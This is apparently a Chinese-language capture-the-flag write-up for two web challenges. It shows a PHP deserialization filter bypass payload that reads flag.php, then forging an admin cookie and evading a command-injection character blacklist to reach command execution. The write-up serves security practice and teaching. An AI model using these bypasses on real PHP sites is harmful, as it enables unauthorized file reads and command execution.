1. 程式人生 > >安恆12月賽Web題解

安恆12月賽Web題解

吐槽一下

這次的web題目感覺完全是新手題,思路很直接,我就不摻和了,做完web就逃23333,繼續完成密碼學課程實驗報告去了。。。但還是記錄一下。

easy

這個題目考的是一個php反序列化的一個繞過,上來就給了一段程式碼,很簡單

 <?php  
@error_reporting(1); 
include 'flag.php';
class baby 
{   
    public $file;
    function __toString()      
    {          
        if(isset($this->file)
) { $filename = "./{$this->file}"; if (file_get_contents($filename)) { return file_get_contents($filename); } } } } if (isset($_GET['data'])) { $data = $_GET['data'
]; preg_match('/[oc]:\d+:/i',$data,$matches); if(count($matches)) { die('Hacker!'); } else { $good = unserialize($data); echo $good; } } else { highlight_file("./index.php"); } ?>

關鍵是繞過這一句,本意是為了防止物件被反序列化,可以參考一下這篇文章:https://blog.spoock.com/2016/11/03/php-wakeup/

preg_match('/[oc]:\d+:/i',$data,$matches);

所以只需要只需要在物件長度前新增一個+號,即o:14->o:+14,這樣就可以繞過正則匹配。最後的payload:

O:+4:"baby":1:{s:4:"file";s:8:"flag.php";}

url編碼後發包就可以獲得flag

FySZ1H.png

ezweb2

這個題目上來發現沒什麼線索,只能掃一下目錄,發現了一個admin.php,但是進去卻回顯You are not admin...,這樣思路就很明確了,我們需要偽造admin的身份,查一下cookie,果然需要偽造一下,把cookie的值從user->admin就好,還需base64一下

FySHvd.png

然後就可以進入一個命令執行的頁面,輸入ls發現有回顯,但是很多東西都被過濾了

FySObt.png

Fyphss.png

可以嘗試一下讀檔案,在config.php發現黑名單

admin.php

<?php
include 'config.php';
if (!isset($_SESSION['admin'])||$_SESSION['admin']===false) {
	die("You are not admin...");
}
if (@$_POST['cmd']) {
	$cmd = waf_exec($_POST['cmd']);
	$retval = array();
	exec($cmd, $retval, $status);
	// var_dump($retval);
	if ($status == 0) {
		$res = implode("\n",$retval);
	}else{
		$res = 'error';
	}
}else{
	$res = '';
}

include './templates/admin.html';

config.php

<?php
session_start();

function waf_exec($str){
	$black_str = "/(;|&|>|}|{|%|#|!|\?|@|\+| )/i";
		$str = preg_replace($black_str, "",$str);
		return $str;
	}

關鍵是如何繞過這個黑名單去讀到flag,這裡已經把很多東西都過濾了,但是$以及/都沒被過濾,可以很好地執行命令

FypvLR.png

成功讀取flag

Fypze1.png